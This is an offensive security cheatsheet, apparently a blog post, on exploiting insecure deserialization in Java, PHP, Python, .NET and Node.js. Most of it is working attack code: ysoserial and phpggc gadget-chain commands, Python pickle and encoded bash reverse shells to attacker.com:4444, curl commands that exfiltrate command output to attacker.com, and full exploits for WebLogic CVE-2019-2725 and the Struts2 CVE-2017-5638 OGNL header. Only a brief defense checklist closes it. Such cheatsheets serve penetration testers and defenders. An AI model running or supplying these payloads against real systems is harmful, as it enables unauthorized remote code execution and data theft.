Insecure Deserialization Cheatsheet: Java, PHP, Python, .NET — Gadget Chains to RCE | Tağmaç - root@Tagoletta:~#

Insecure Deserialization Cheatsheet: Java, PHP, Python, .NET — Gadget Chains to RCE

Thu May 28 2026

Category: Cheatsheet

Related: Prototype Pollution is a JavaScript deserialization-adjacent attack. See Prototype Pollution to RCE for Node.js gadget chains.


Java Deserialization

Detection

# Java serialized objects start with magic bytes: AC ED 00 05
# In base64: rO0AB...
# In hex: ac ed 00 05

# Check cookies, POST bodies, request parameters for:
echo "rO0ABX..." | base64 -d | xxd | head -1
# → 00000000: aced 0005  ← Java serialized object

# HTTP headers to check:
Cookie: session=rO0ABXNy...
X-Rce-Me: rO0AB...
viewstate=rO0AB...

ysoserial — Gadget Chain Generator

# Download: https://github.com/frohoff/ysoserial

# Generate payload for each gadget chain
java -jar ysoserial.jar CommonsCollections1 'id' | base64
java -jar ysoserial.jar CommonsCollections2 'id' | base64
java -jar ysoserial.jar CommonsCollections3 'id' | base64
java -jar ysoserial.jar CommonsCollections4 'id' | base64
java -jar ysoserial.jar CommonsCollections5 'id' | base64
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar CommonsCollections7 'id' | base64

# Spring gadget chains
java -jar ysoserial.jar Spring1 'id' | base64
java -jar ysoserial.jar Spring2 'id' | base64

# Other common chains
java -jar ysoserial.jar BeanShell1 'id' | base64
java -jar ysoserial.jar Clojure 'id' | base64
java -jar ysoserial.jar Groovy1 'id' | base64
java -jar ysoserial.jar Hibernate1 'id' | base64
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' | base64   # JRMP listener
java -jar ysoserial.jar URLDNS 'http://attacker.com' | base64     # DNS-only (blind detection)

# Reverse shell
java -jar ysoserial.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash' \
  | base64 -w 0

Testing Gadget Chains

# Blind detection via DNS (URLDNS chain — no gadget dependency)
PAYLOAD=$(java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64 -w 0)

curl -s https://target.com/api/endpoint \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary "$(echo $PAYLOAD | base64 -d)"

# If DNS hit received → deserialization confirmed
# Then try each CC gadget for RCE
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 Spring1 Spring2; do
  echo "[*] Trying $gadget..."
  PAYLOAD=$(java -jar ysoserial.jar $gadget 'curl http://attacker.com/?g='$gadget | base64 -w 0)
  curl -s https://target.com/api/endpoint \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary "$(echo $PAYLOAD | base64 -d)"
done

PHP Object Injection

Magic Methods Used in Gadgets

__construct()   // on new
__destruct()    // on destroy
__wakeup()      // on unserialize()
__sleep()       // on serialize()
__toString()    // on string cast
__invoke()      // on function call
__call()        // on undefined method
__get()         // on property access
__set()         // on property write
__isset()       // on isset()
__unset()       // on unset()

Basic PHP Unserialize Injection

<?php
class Example {
    public $cmd;
    function __destruct() {
        system($this->cmd);
    }
}

// Craft object
$obj = new Example();
$obj->cmd = "id";
echo serialize($obj);
// O:7:"Example":1:{s:3:"cmd";s:2:"id";}
?>
# Inject serialized payload into cookie
curl -b 'data=O:7:"Example":1:{s:3:"cmd";s:2:"id";}' https://target.com/

PHPGGC — PHP Gadget Chain Generator

# Download: https://github.com/ambionics/phpggc

# List available gadget chains
php phpggc -l

# Generate for common frameworks
php phpggc Laravel/RCE1 system id
php phpggc Laravel/RCE2 system "curl http://attacker.com/$(id)"
php phpggc Symfony/RCE1 system id
php phpggc Symfony/RCE4 system id
php phpggc Slim/RCE1 system id
php phpggc Drupal7/RCE1 system id
php phpggc Magento/RCE1 system id
php phpggc Yii/RCE1 system id
php phpggc WordPress/RCE1 system id
php phpggc Guzzle/RCE1 system id

# With base64 encoding
php phpggc -b Laravel/RCE1 system id

# With JSON
php phpggc -j Laravel/RCE1 system id

Phar Deserialization

Trigger PHP deserialization by accessing a PHAR archive via any file function:

<?php
// Create malicious phar
class MaliciousClass {
    function __destruct() { system('id'); }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new MaliciousClass();
$phar->setMetadata($obj);
$phar->stopBuffering();
// Rename to bypass extension check: exploit.jpg
rename('exploit.phar', 'exploit.jpg');
?>
# Trigger: any stream wrapper that calls file_exists, fopen, etc.
file_exists('phar:///uploads/exploit.jpg');

Python Pickle RCE

Pickle deserialization executes arbitrary code via __reduce__:

import pickle, os, base64

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

# Serialize
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())

# Or with reverse shell
class Exploit:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Submit to endpoint that calls pickle.loads(base64.b64decode(input))

Custom __reduce__ with exec

import pickle, base64

code = b"""
import subprocess
subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1'])
"""

payload = pickle.dumps({"__reduce__": (exec, (code,))})
# ... or directly:
class Exploit(object):
    def __reduce__(self):
        return (exec, ("import os; os.system('id')",))

.NET ViewState Deserialization

# ViewState is base64+encrypted in modern ASP.NET
# If __VIEWSTATEGENERATOR is predictable or machine key is known:

# ysoserial.net — .NET gadget chain generator
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  -c "powershell -e <base64_payload>" \
  --path="/vulnerable-page.aspx" \
  --apppath="/" \
  --decryptionalg="AES" \
  --decryptionkey="<machine_key_decryption>" \
  --validationalg="SHA1" \
  --validationkey="<machine_key_validation>"

# Submit as __VIEWSTATE parameter

Node.js — node-serialize

// Vulnerable code: unserialize(JSON.parse(cookie))
// Exploit: IIFE in serialized function

{
  "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id', function(err, stdout, stderr) { console.log(stdout); });}()"
}

// Base64 encode and set as cookie

Real-World Examples

CVE / Incident Year Product Impact
CVE-2015-4852 2015 Oracle WebLogic Java deserialization → RCE, CommonsCollections
CVE-2017-5638 2017 Apache Struts (Equifax) OGNL deserialization → RCE → 147M records stolen
CVE-2019-2725 2019 Oracle WebLogic Java deserialization → unauthenticated RCE
CVE-2020-14882 2020 Oracle WebLogic Auth bypass + deserialization → RCE
CVE-2021-44228 (Log4Shell) 2021 Apache Log4j JNDI deserialization → RCE
CVE-2022-42889 (Text4Shell) 2022 Apache Commons Text String interpolation deserialization
Jenkins RCE 2016 Jenkins Java deserialization in CLI → unauthenticated RCE

Example: CVE-2019-2725 — Oracle WebLogic Deserialization

# Unauthenticated RCE via /_async/AsyncResponseService WSDL endpoint

# Step 1: Generate payload
java -jar ysoserial.jar CommonsCollections1 \
  'curl http://attacker.com/$(whoami)' | xxd -p | tr -d '\n' > payload.hex

# Step 2: Exploit via WSDL injection
curl -s -X POST http://target:7001/_async/AsyncResponseService \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8.0" class="java.beans.XMLDecoder">
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>curl http://attacker.com/$(id)</string></void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>'

Example: Python Pickle RCE — CTF / Bug Bounty

# Target: Flask app deserializes base64 cookie with pickle

# Step 1: Craft payload
python3 -c "
import pickle, base64, os
class E(object):
    def __reduce__(self): return (os.system, ('curl http://attacker.com/\$(id)',))
print(base64.b64encode(pickle.dumps(E())).decode())
" > payload.b64

# Step 2: Set as cookie
curl -b "session=$(cat payload.b64)" https://target.com/

Example: Equifax Breach (CVE-2017-5638) — Struts2 RCE

# Content-Type header contains OGNL expression
curl -s -X POST https://target.com/struts2/ \
  -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{..}{"..",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'

Tools

# ysoserial — Java
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# phpggc — PHP
php phpggc -l  # list chains
php phpggc Laravel/RCE1 system id | base64

# ysoserial.net — .NET
ysoserial.exe -l  # list gadgets

# JNDI-Exploit-Kit — Log4Shell
java -jar JNDI-Exploit-Kit.jar -C "id" -A attacker.com

# Burp Deserialization Scanner extension

Defense Checklist

  • Never deserialize untrusted data
  • Use allowlists for deserializable classes (Java ObjectInputStream override)
  • Avoid pickle/marshal/yaml.load for user-supplied data in Python
  • Prefer data-only formats (JSON) over serialization formats
  • Sign serialized data with HMAC to prevent tampering
  • Keep dependencies updated — gadget chains rely on vulnerable library versions
  • Use Java Security Manager to restrict what deserialized code can do

References